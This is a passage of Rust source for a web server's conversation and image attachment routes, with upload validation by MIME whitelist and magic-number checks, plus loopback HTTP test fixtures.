7047    };
7048    let draining = match fresh {
7049        Ok(talk) => {
7050            let draining = talk.status.open()
7051                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7052            let talks = ui.talks.clone();
7053            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7054            draining
7055        }
7056        Err(_) => false,
7057    };
7058    let talk = switched?;
7059    Ok(Json(TalkView::new(talk, draining)))
7060}
7061
7062/// `POST /api/talks/{id}/close`.
7063async fn talk_close(
7064    State(ui): State<Arc<Ui>>,
7065    Path(id): Path<String>,
7066) -> ApiResult<Json<TalkView>> {
7067    blocking(move || {
7068        let id = resolve_talk(&ui.talks, &id)?;
7069        let mut talk = ui.talks.get(&id)?;
7070        talk::close(&mut talk, &ui.talks)?;
7071        let thinking = ui.is_thinking(&talk.id);
7072        Ok(Json(TalkView::new(talk, thinking)))
7073    })
7074    .await
7075}
7076
7077/// `POST /api/talks/{id}/reopen`.
7078async fn talk_reopen(
7079    State(ui): State<Arc<Ui>>,
7080    Path(id): Path<String>,
7081) -> ApiResult<Json<TalkView>> {
7082    blocking(move || {
7083        let id = resolve_talk(&ui.talks, &id)?;
7084        let mut talk = ui.talks.get(&id)?;
7085        talk::reopen(&mut talk, &ui.talks)?;
7086        let thinking = ui.is_thinking(&talk.id);
7087        Ok(Json(TalkView::new(talk, thinking)))
7088    })
7089    .await
7090}
7091
7092/// `DELETE /api/talks/{id}`.
7093///
7094/// Removes the conversation's record and artifacts outright, unlike
7095/// [`talk_close`] which keeps the record as history. A turn already in
7096/// flight is not refused here the way [`run_delete`] refuses a live run:
7097/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7098/// under [`Talks::guard`], that the record they are about to write back is
7099/// still there, so a delete racing a turn is safe without this route having
7100/// to know a turn is running at all.
7101async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7102    blocking(move || {
7103        let id = resolve_talk(&ui.talks, &id)?;
7104        ui.talks.remove(&id)?;
7105        Ok(StatusCode::NO_CONTENT)
7106    })
7107    .await
7108}
7109
7110/// Expand an id or short id to exactly one talk id.
7111fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7112    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7113}
7114
7115/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7116/// future `talk-say`.
7117async fn talk_attachment_post(
7118    State(ui): State<Arc<Ui>>,
7119    Path(id): Path<String>,
7120    headers: HeaderMap,
7121    body: Bytes,
7122) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7123    let mime = validate_attachment(&headers, &body)?;
7124    let name = filename_header(&headers);
7125    let data = body.to_vec();
7126    blocking(move || {
7127        let id = resolve_talk(&ui.talks, &id)?;
7128        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7129        Ok((StatusCode::CREATED, Json(att)))
7130    })
7131    .await
7132}
7133
7134/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7135/// `<img>` tag in the transcript.
7136async fn talk_attachment_get(
7137    State(ui): State<Arc<Ui>>,
7138    Path((id, att)): Path<(String, String)>,
7139) -> ApiResult<Response> {
7140    blocking(move || {
7141        let id = resolve_talk(&ui.talks, &id)?;
7142        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7143            return Err(ApiError::not_found(format!(
7144                "talk {id} has no attachment `{att}`"
7145            )));
7146        };
7147        Ok(attachment_response(&meta.mime, data))
7148    })
7149    .await
7150}
7151
7152/// Validate an attachment upload's declared `Content-Type` and the bytes
7153/// themselves, returning the canonical mime on success.
7154///
7155/// Two checks, both required: the header has to name one of
7156/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7157/// simply never in the list, active content rather than a picture, the same
7158/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7159/// magic number has to agree. The second is what stops a mislabeled upload -
7160/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7161/// a declared type is a claim, not a fact, so it is never trusted alone.
7162fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7163    if data.len() > ATTACHMENT_MAX_BYTES {
7164        return Err(ApiError::bad_request(format!(
7165            "attachment is {} bytes, over the {} MiB limit",
7166            data.len(),
7167            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7168        ))
7169        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7170    }
7171    if data.is_empty() {
7172        return Err(ApiError::bad_request("attachment is empty"));
7173    }
7174    let declared = declared_mime(headers)?;
7175    match sniffed_mime(data) {
7176        Some(sniffed) if sniffed == declared => Ok(declared),
7177        Some(sniffed) => Err(ApiError::bad_request(format!(
7178            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7179        ))),
7180        None => Err(ApiError::bad_request(
7181            "the file's bytes do not match any accepted image format",
7182        )),
7183    }
7184}
7185
7186/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7187/// and nothing else - parameters like `; charset=` are stripped, but the
7188/// value itself is not otherwise interpreted.
7189fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7190    let raw = headers
7191        .get(header::CONTENT_TYPE)
7192        .and_then(|v| v.to_str().ok())
7193        .unwrap_or("")
7194        .split(';')
7195        .next()
7196        .unwrap_or("")
7197        .trim()
7198        .to_ascii_lowercase();
7199    ATTACHMENT_MIME_WHITELIST
7200        .iter()
7201        .find(|&&m| m == raw)
7202        .copied()
7203        .ok_or_else(|| {
7204            if raw == "image/svg+xml" {
7205                ApiError::bad_request(
7206                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7207                     not just a picture",
7208                )
7209            } else if raw.is_empty() {
7210                ApiError::bad_request("Content-Type is required for an attachment upload")
7211            } else {
7212                ApiError::bad_request(format!(
7213                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7214                     image/gif or image/webp"
7215                ))
7216            }
7217        })
7218}
7219
7220/// Identify an image by its magic number, independent of whatever
7221/// `Content-Type` claimed.
7222fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7223    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7224        Some("image/png")
7225    } else if data.starts_with(b"\xff\xd8\xff") {
7226        Some("image/jpeg")
7227    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7228        Some("image/gif")
7229    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7230        Some("image/webp")
7231    } else {
7232        None
7233    }
7234}
7235
7236/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7237/// display - see [`talk::Attachment::name`]'s doc on why it never
7238/// contributes to a path. A missing or blank header (curl without it, an
7239/// older front end) falls back to a generic name rather than refusing the
7240/// upload over a field that is cosmetic.
7241fn filename_header(headers: &HeaderMap) -> String {
7242    headers
7243        .get(FILENAME_HEADER)
7244        .and_then(|v| v.to_str().ok())
7245        .map(str::trim)
7246        .filter(|s| !s.is_empty())
7247        .unwrap_or("attachment")
7248        .to_owned()
7249}
7250
7251/// Every attachment `GET` response: the mime re-validated against the same
7252/// closed whitelist the upload route enforces - never the string trusted
7253/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7254/// cannot decide it knows better than the type we send. Unlike a panel asset
7255/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7256/// document renders inline, not agent-authored HTML in a sandboxed frame.
7257fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7258    let content_type = ATTACHMENT_MIME_WHITELIST
7259        .iter()
7260        .find(|&&m| m == mime)
7261        .copied()
7262        .unwrap_or("application/octet-stream");
7263    (
7264        [
7265            (header::CONTENT_TYPE, content_type),
7266            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7267        ],
7268        body,
7269    )
7270        .into_response()
7271}
7272
7273/// The configuration for a repository, read off the disk for this request.
7274///
7275/// Through [`blocking`] because discovery reads and merges several TOML files,
7276/// and because the alternative - caching it in [`Ui`] at startup - would mean
7277/// the operator's phone kept interviewing with a roster they had already
7278/// changed, with no way to reload it but restarting the server they are not
7279/// sitting in front of.
7280async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7281    let repo = repo.to_path_buf();
7282    blocking(move || {
7283        let (cfg, _) = Config::discover(&repo, None)?;
7284        Ok(cfg)
7285    })
7286    .await
7287}
7288
7289/// The one prefix rule, used for both runs and tasks: a leading match for a
7290/// full id, a trailing match for the short form an operator reads off a
7291/// report. Written here rather than borrowed from `queue::resolve_id` because
7292/// the UI needs the two failures as different status codes, and telling them
7293/// apart from an error message is not something to build a route on.
7294fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7295    let mut hits = ids
7296        .into_iter()
7297        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7298    match (hits.next(), hits.next()) {
7299        (Some(one), None) => Ok(one),
7300        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7301        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7302            "`{prefix}` matches more than one {what}, including {a} and {b}"
7303        ))),
7304    }
7305}
7306
7307#[cfg(test)]
7308mod tests {
7309
7310    #[test]
7311    fn holder_reads_the_lease_not_the_record() {
7312        let mut q = Question::new(
7313            "run".to_owned(),
7314            "implement".to_owned(),
7315            "impl-A".to_owned(),
7316            "which?".to_owned(),
7317            String::new(),
7318            Vec::new(),
7319        );
7320        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7321        q.cwd = Some("/tmp".to_owned());
7322        assert_eq!(holder_of(&q, None), Some("nobody"));
7323        let beat = |kind, ago: i64| ask::Lease {
7324            kind,
7325            pid: 1,
7326            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7327                .unwrap(),
7328        };
7329        let fresh = beat(ask::WaiterKind::Asker, 1);
7330        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7331        let daemon = beat(ask::WaiterKind::Daemon, 1);
7332        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7333        let stale = beat(ask::WaiterKind::Asker, 3600);
7334        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7335
7336        // A conductor question says "deputy" only while one is attached and
7337        // alive, and "nobody" - never silence - when nothing ever listened.
7338        let mut c = Question::new(
7339            "task".to_owned(),
7340            crate::conduct::NODE.to_owned(),
7341            "conduct".to_owned(),
7342            "which?".to_owned(),
7343            String::new(),
7344            Vec::new(),
7345        );
7346        assert_eq!(holder_of(&c, None), Some("nobody"));
7347        c.cwd = Some("/tmp".to_owned());
7348        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7349        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7350        let deputy = beat(ask::WaiterKind::Deputy, 1);
7351        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7352        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7353
7354        // A release-watch question: nobody until a deputy is attached.
7355        let mut r = Question::new(
7356            String::new(),
7357            crate::bump::NOTICE_NODE.to_owned(),
7358            "release-watch".to_owned(),
7359            "stuck?".to_owned(),
7360            String::new(),
7361            vec!["hold".to_owned()],
7362        );
7363        assert_eq!(holder_of(&r, None), Some("nobody"));
7364        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7365        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7366        // A choice-less bump notice is nobody's question at all.
7367        r.deputy = None;
7368        r.seat = "bump".to_owned();
7369        assert_eq!(holder_of(&r, None), None);
7370
7371        // A merge approval is the same: nobody until a deputy is attached
7372        // and alive, never a silent "no holder".
7373        let mut m = Question::new(
7374            "run".to_owned(),
7375            crate::land::APPROVAL_NODE.to_owned(),
7376            "land".to_owned(),
7377            "merge?".to_owned(),
7378            String::new(),
7379            Vec::new(),
7380        );
7381        assert_eq!(holder_of(&m, None), Some("nobody"));
7382        assert_eq!(
7383            holder_of(&m, Some(&fresh)),
7384            Some("nobody"),
7385            "a lease with no deputy is not a listener"
7386        );
7387        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7388        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7389        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7390        assert_eq!(holder_of(&m, None), Some("nobody"));
7391    }
7392
7393    fn stub_config() -> Config {
7394        // An explicit roster, so the result never depends on which agent CLIs
7395        // this machine has installed.
7396        Config {
7397            agents: vec![crate::config::AgentSpec {
7398                id: "stub".to_owned(),
7399                kind: AgentKind::Command,
7400                model: None,
7401                command: vec!["true".to_owned()],
7402                extra_args: Vec::new(),
7403                env: Default::default(),
7404                prompt_delivery: None,
7405            }],
7406            ..Config::default()
7407        }
7408    }
7409
7410    fn plain_question(seat: &str) -> Question {
7411        Question::new(
7412            String::new(),
7413            "n".to_owned(),
7414            seat.to_owned(),
7415            "s".to_owned(),
7416            String::new(),
7417            Vec::new(),
7418        )
7419    }
7420
7421    #[test]
7422    fn deputies_enabled_follows_the_config() {
7423        let on = stub_config();
7424        assert!(crate::deputy::can_start(Some(&on), ""));
7425        assert!(crate::deputy::can_start(Some(&on), "stub"));
7426        let mut off = on.clone();
7427        off.daemon.max_deputies = 0;
7428        assert!(!crate::deputy::can_start(Some(&off), ""));
7429        let mut empty = on;
7430        empty.agents.clear();
7431        assert!(!crate::deputy::can_start(Some(&empty), ""));
7432        assert!(!crate::deputy::can_start(None, ""));
7433    }
7434
7435    #[test]
7436    fn question_views_load_the_config_once() {
7437        let dir = TempDir::new().unwrap();
7438        let store = ask::Questions::at(dir.path().to_path_buf());
7439        let mut with_deputy = plain_question("b");
7440        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7441        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7442
7443        let calls = std::cell::Cell::new(0usize);
7444        let views = question_views(qs.clone(), &store, || {
7445            calls.set(calls.get() + 1);
7446            Some(stub_config())
7447        });
7448        assert_eq!(calls.get(), 1);
7449        assert_eq!(views.len(), 3);
7450        for (v, q) in views.iter().zip(&qs) {
7451            assert_eq!(
7452                v.deputies_enabled,
7453                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7454            );
7455        }
7456
7457        let views = question_views(qs, &store, || None);
7458        assert!(views.iter().all(|v| !v.deputies_enabled));
7459
7460        let calls = std::cell::Cell::new(0usize);
7461        let views = question_views(Vec::new(), &store, || {
7462            calls.set(calls.get() + 1);
7463            None
7464        });
7465        assert!(views.is_empty());
7466        assert_eq!(calls.get(), 0);
7467    }
7468
7469    use pretty_assertions::assert_eq;
7470    use serde_json::Value;
7471    use tempfile::TempDir;
7472    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7473
7474    use super::*;
7475    use crate::config::Config;
7476    use crate::queue::Source;
7477
7478    /// How many 10ms steps a settle loop takes before it calls a stall a
7479    /// stall - thirty seconds.
7480    ///
7481    /// These loops wait on real `sh` subprocesses, and the machine that runs
7482    /// the gate runs several suites at once, so a two-second budget was not
7483    /// waiting for the reply, it was racing the scheduler: two of these
7484    /// tests failed under that load with the turn simply not landed yet.
7485    /// This is a hang guard, not a latency assertion - every loop breaks the
7486    /// moment its condition holds, so a generous cap costs an idle machine
7487    /// nothing and still fails a genuine hang instead of hanging the suite.
7488    const SETTLE_STEPS: usize = 3_000;
7489
7490    /// A home with a queue and a runs directory, and a router serving it on
7491    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7492    /// dependency, not ours - so the tests drive a real socket, which has the
7493    /// side benefit of asserting the status line and content types the phone
7494    /// actually receives.
7495    struct Fixture {
7496        home: TempDir,
7497        addr: SocketAddr,
7498    }
7499
7500    impl Fixture {
7501        async fn start() -> Self {
7502            Self::with_loop(launch_idle).await
7503        }
7504
7505        /// A fixture whose loop is `launch`.
7506        async fn with_loop(launch: Launch) -> Self {
7507            let home = TempDir::new().expect("temp home");
7508            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7509            Self { home, addr }
7510        }
7511
7512        /// A fixture whose `ui.repo` is a real directory rather than the
7513        /// usual placeholder - for the routes that read config off it
7514        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7515        async fn with_repo(repo: PathBuf) -> Self {
7516            let home = TempDir::new().expect("temp home");
7517            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7518            Self { home, addr }
7519        }
7520
7521        /// As [`Fixture::with_repo`], with the machine-config file the
7522        /// settings screen reads and writes.
7523        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7524            let home = TempDir::new().expect("temp home");
7525            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7526            Self { home, addr }
7527        }
7528
7529        async fn serve(
7530            home: &FsPath,
7531            repo: PathBuf,
7532            launch: Launch,
7533            machine: Option<PathBuf>,
7534        ) -> SocketAddr {
7535            let queue = Queue::at(home.join("queue"));
7536            let runs = home.join("runs");
7537            std::fs::create_dir_all(&runs).expect("runs dir");
7538            let worktrees = home.join("wt").join("magi");
7539            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7540            let ui = Ui::new(
7541                queue,
7542                Questions::at(home.join("questions")),
7543                Talks::at(home.join("talks")),
7544                runs,
7545                home.to_path_buf(),
7546                repo,
7547            )
7548            .with_worktrees_root(worktrees)
7549            .with_machine_config(machine)
7550            .with_launch(launch);
7551            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7552                .await
7553                .expect("bind loopback");
7554            let addr = listener.local_addr().expect("local addr");
7555            tokio::spawn(async move {
7556                let _ = axum::serve(listener, ui.router()).await;
7557            });
7558            addr
7559        }
7560
7561        fn queue(&self) -> Queue {
7562            Queue::at(self.home.path().join("queue"))
7563        }
7564
7565        fn questions(&self) -> Questions {
7566            Questions::at(self.home.path().join("questions"))
7567        }
7568
7569        fn talks(&self) -> Talks {
7570            Talks::at(self.home.path().join("talks"))
7571        }
7572
7573        fn runs(&self) -> PathBuf {
7574            self.home.path().join("runs")
7575        }
7576
7577        async fn get(&self, path: &str) -> Res {
7578            request(self.addr, "GET", path, None).await
7579        }
7580
7581        /// The status and headers without the body, which is how the front end
7582        /// preflights a panel: a sandboxed frame is opaque to the parent
7583        /// document, so the only way to tell "no panel" from "a panel that
7584        /// rendered blank" is to ask before mounting.
7585        async fn head(&self, path: &str) -> Res {
7586            request(self.addr, "HEAD", path, None).await
7587        }
7588
7589        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7590            request(self.addr, "POST", path, body).await
7591        }
7592
7593        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7594            request_with(self.addr, "GET", path, None, extra).await
7595        }
7596
7597        async fn delete(&self, path: &str) -> Res {
7598            request(self.addr, "DELETE", path, None).await
7599        }
7600
7601        async fn put(&self, path: &str, body: &str) -> Res {
7602            request(self.addr, "PUT", path, Some(body)).await
7603        }
7604
7605        /// `POST` a raw body with its own headers - see [`request_bytes`].
7606        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7607            request_bytes(self.addr, path, headers, body).await
7608        }
7609    }
7610
7611    struct Res {
7612        status: u16,
7613        headers: String,
7614        /// The header block with its original casing, for the assertions that
7615        /// compare a header *value* rather than looking for a name. Lowercasing
7616        /// a CSP would hide a directive spelled with a capital letter, and the
7617        /// whole point of that test is that the string is exactly right.
7618        head: String,
7619        body: String,
7620        /// The body before any UTF-8 handling, for the routes that serve
7621        /// something other than text. A panel asset is a PNG as often as not,
7622        /// and `from_utf8_lossy` would silently replace half of it.
7623        bytes: Vec<u8>,
7624    }
7625
7626    impl Res {
7627        fn json(&self) -> Value {
7628            serde_json::from_str(&self.body)
7629                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7630        }
7631
7632        /// One header's value verbatim, or `None` when it was not sent.
7633        fn header(&self, name: &str) -> Option<&str> {
7634            self.head.lines().find_map(|line| {
7635                let (key, value) = line.split_once(':')?;
7636                key.trim()
7637                    .eq_ignore_ascii_case(name)
7638                    .then(|| value.trim_start().trim_end_matches('\r'))
7639            })
7640        }
7641    }
7642
7643    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7644    /// be read to end-of-stream without parsing framing.
7645    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7646        request_with(addr, method, path, body, &[]).await
7647    }
7648
7649    /// As [`request`], with extra request headers - conditional GETs need
7650    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7651    /// worse than one that sets none.
7652    async fn request_with(
7653        addr: SocketAddr,
7654        method: &str,
7655        path: &str,
7656        body: Option<&str>,
7657        extra: &[(&str, &str)],
7658    ) -> Res {
7659        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7660        for (name, value) in extra {
7661            head.push_str(&format!("{name}: {value}\r\n"));
7662        }
7663        if let Some(body) = body {
7664            head.push_str("Content-Type: application/json\r\n");
7665            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7666        }
7667        head.push_str("\r\n");
7668        if let Some(body) = body {
7669            head.push_str(body);
7670        }
7671        let mut socket = tokio::net::TcpStream::connect(addr)
7672            .await
7673            .expect("connect to the test server");
7674        socket
7675            .write_all(head.as_bytes())
7676            .await
7677            .expect("write request");
7678        let mut raw = Vec::new();
7679        socket.read_to_end(&mut raw).await.expect("read response");
7680        // Split on the raw bytes rather than on a lossy string, so a binary
7681        // body survives to be compared byte for byte.
7682        let split = raw
7683            .windows(4)
7684            .position(|w| w == b"\r\n\r\n")
7685            .expect("a header block");
7686        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7687        let bytes = raw[split + 4..].to_vec();
7688        let status = head
7689            .lines()
7690            .next()
7691            .and_then(|line| line.split_whitespace().nth(1))
7692            .and_then(|code| code.parse().ok())
7693            .expect("a status line");
7694        Res {
7695            status,
7696            headers: head.to_lowercase(),
7697            head,
7698            body: String::from_utf8_lossy(&bytes).into_owned(),
7699            bytes,
7700        }
7701    }
7702
7703    /// A `POST` carrying a raw binary body and its own headers, for the
7704    /// attachment upload route - `request_with` only ever sends
7705    /// `Content-Type: application/json`, which is wrong for an image and
7706    /// would corrupt anything not valid UTF-8 by round-tripping it through
7707    /// `&str` first.
7708    async fn request_bytes(
7709        addr: SocketAddr,
7710        path: &str,
7711        headers: &[(&str, &str)],
7712        body: &[u8],
7713    ) -> Res {
7714        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7715        for (name, value) in headers {
7716            head.push_str(&format!("{name}: {value}\r\n"));
7717        }
7718        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7719        let mut socket = tokio::net::TcpStream::connect(addr)
7720            .await
7721            .expect("connect to the test server");
7722        socket
7723            .write_all(head.as_bytes())
7724            .await
7725            .expect("write request head");
7726        socket.write_all(body).await.expect("write request body");
7727        let mut raw = Vec::new();
7728        socket.read_to_end(&mut raw).await.expect("read response");
7729        let split = raw
7730            .windows(4)
7731            .position(|w| w == b"\r\n\r\n")
7732            .expect("a header block");
7733        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7734        let bytes = raw[split + 4..].to_vec();
7735        let status = head
7736            .lines()
7737            .next()
7738            .and_then(|line| line.split_whitespace().nth(1))
7739            .and_then(|code| code.parse().ok())
7740            .expect("a status line");
7741        Res {
7742            status,
7743            headers: head.to_lowercase(),
7744            head,
7745            body: String::from_utf8_lossy(&bytes).into_owned(),
7746            bytes,
7747        }
7748    }
7749
7750    /// A run on disk, without touching the process-global magi home.
7751    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7752        let mut state = RunState::new(
7753            PathBuf::from("/repo/magi"),
7754            "main".to_owned(),
7755            "0123456789abcdef".to_owned(),
7756            "Add a web UI\n\nMobile first.".to_owned(),
7757            Config::default(),
7758        );
7759        state.id = id.to_owned();
7760        state.status = status;
7761        let dir = runs.join(id);
7762        std::fs::create_dir_all(&dir).expect("run dir");
7763        std::fs::write(
7764            dir.join("run.json"),
7765            serde_json::to_string_pretty(&state).expect("serialize run"),
7766        )
7767        .expect("write run.json");
7768    }
7769
7770    /// Same as [`write_run`], but against a named repository rather than the
7771    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7772    /// spread across more than one.
7773    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7774        let mut state = RunState::new(
7775            PathBuf::from(repo),
7776            "main".to_owned(),
7777            "0123456789abcdef".to_owned(),
7778            "task".to_owned(),
7779            Config::default(),
7780        );
7781        state.id = id.to_owned();
7782        state.status = status;
7783        let dir = runs.join(id);
7784        std::fs::create_dir_all(&dir).expect("run dir");
7785        std::fs::write(
7786            dir.join("run.json"),
7787            serde_json::to_string_pretty(&state).expect("serialize run"),
7788        )
7789        .expect("write run.json");
7790    }
7791
7792    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7793        let body = serde_json::json!({
7794            "schema": 1,
7795            "pid": 4242,
7796            "started_at": Timestamp::now().to_string(),
7797            "updated_at": updated_at.to_string(),
7798            "idle": false,
7799            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7800            "completed": 7,
7801            "polls": 143,
7802        });
7803        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7804    }
7805
7806    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7807    ///
7808    /// No test in this file may start the real loop - see [`Ui::launch`] for
7809    /// why - so this stands in for the only thing the routes need a loop to
7810    /// do: keep running until `Stop` is set, then return. A real
7811    /// `serve_until` here would resolve its queue and its status file through
7812    /// the process-global magi home, claim whatever it found in the
7813    /// operator's live backlog, overwrite the status file of the `magi serve`
7814    /// that owns it, and spend real agent quota on a real competition.
7815    fn launch_idle(
7816        _opts: daemon::Opts,
7817        stop: daemon::Stop,
7818    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7819        Box::pin(async move {
7820            while !stop.stopped() {
7821                tokio::time::sleep(Duration::from_millis(2)).await;
7822            }
7823            Ok(())
7824        })
7825    }
7826
7827    /// A loop that fails on the way up, the way one whose home has gone
7828    /// read-only does.
7829    fn launch_broken(
7830        _opts: daemon::Opts,
7831        _stop: daemon::Stop,
7832    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7833        // The stand-in dies instantly, so a restarted one can record its own
7834        // failure before the start's response is read. The second attempt
7835        // therefore fails with a different message, to tell a stale error
7836        // from a fresh one.
7837        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7838        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7839        Box::pin(async move {
7840            Err(anyhow::anyhow!(if first {
7841                "publish the daemon status file: read-only file system"
7842            } else {
7843                "the restarted stand-in failed as well"
7844            }))
7845        })
7846    }
7847
7848    /// The address the parking loop knocks on, and what it heard there.
7849    ///
7850    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7851    /// capture a fixture's address; this is how it is handed one. Only
7852    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7853    /// these, so nothing else in this binary can race them.
7854    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7855    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7856
7857    /// A loop that, once it is asked to stop, checks the deck still answers
7858    /// before it goes.
7859    ///
7860    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7861    /// so the request it makes is strictly inside the park window - no sleep
7862    /// and no polling needed to be sure of that.
7863    fn launch_knocking_on_the_way_out(
7864        _opts: daemon::Opts,
7865        stop: daemon::Stop,
7866    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7867        Box::pin(async move {
7868            while !stop.stopped() {
7869                tokio::time::sleep(Duration::from_millis(2)).await;
7870            }
7871            let addr = PARK_KNOCK
7872                .lock()
7873                .expect("park knock")
7874                .expect("the test set an address");
7875            let heard = request(addr, "GET", "/api/health", None).await.status;
7876            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7877            Ok(())
7878        })
7879    }
7880
7881    /// The loop view once `want` accepts it.
7882    ///
7883    /// Polled rather than asserted straight after the POST because stopping
7884    /// is deliberately not instant - that is the contract - and rather than
7885    /// slept through because a fixed wait is either flaky or slow.
7886    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7887    /// finite, so a genuine hang fails the test instead of hanging the
7888    /// suite.
7889    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7890        for _ in 0..SETTLE_STEPS {
7891            let view = fx.get("/api/loop").await.json();
7892            if want(&view) {
7893                return view;
7894            }
7895            tokio::time::sleep(Duration::from_millis(10)).await;
7896        }
7897        panic!(
7898            "the loop never settled: {}",
7899            fx.get("/api/loop").await.json()
7900        );
7901    }
7902
7903    /// File an open question directly in the store the server reads.
7904    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7905        let store = fx.questions();
7906        let mut q = Question::new(
7907            "20260902-000000-beef".to_owned(),
7908            "implement".to_owned(),
7909            "impl-A".to_owned(),
7910            summary.to_owned(),
7911            "because it matters".to_owned(),
7912            choices.iter().map(|c| (*c).to_owned()).collect(),
7913        );
7914        store.put(&mut q).expect("put question");
7915        q.id
7916    }
7917
7918    /// A question with a panel the server can serve, plus the named assets.
7919    ///
7920    /// Written through `Questions::put_panel` rather than by laying out the
7921    /// directory here, so these tests exercise the same on-disk shape the
7922    /// agents produce and cannot pass against a layout only the tests know.
7923    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7924        let store = fx.questions();
7925        let mut q = Question::new(
7926            "20260902-000000-beef".to_owned(),
7927            "land".to_owned(),
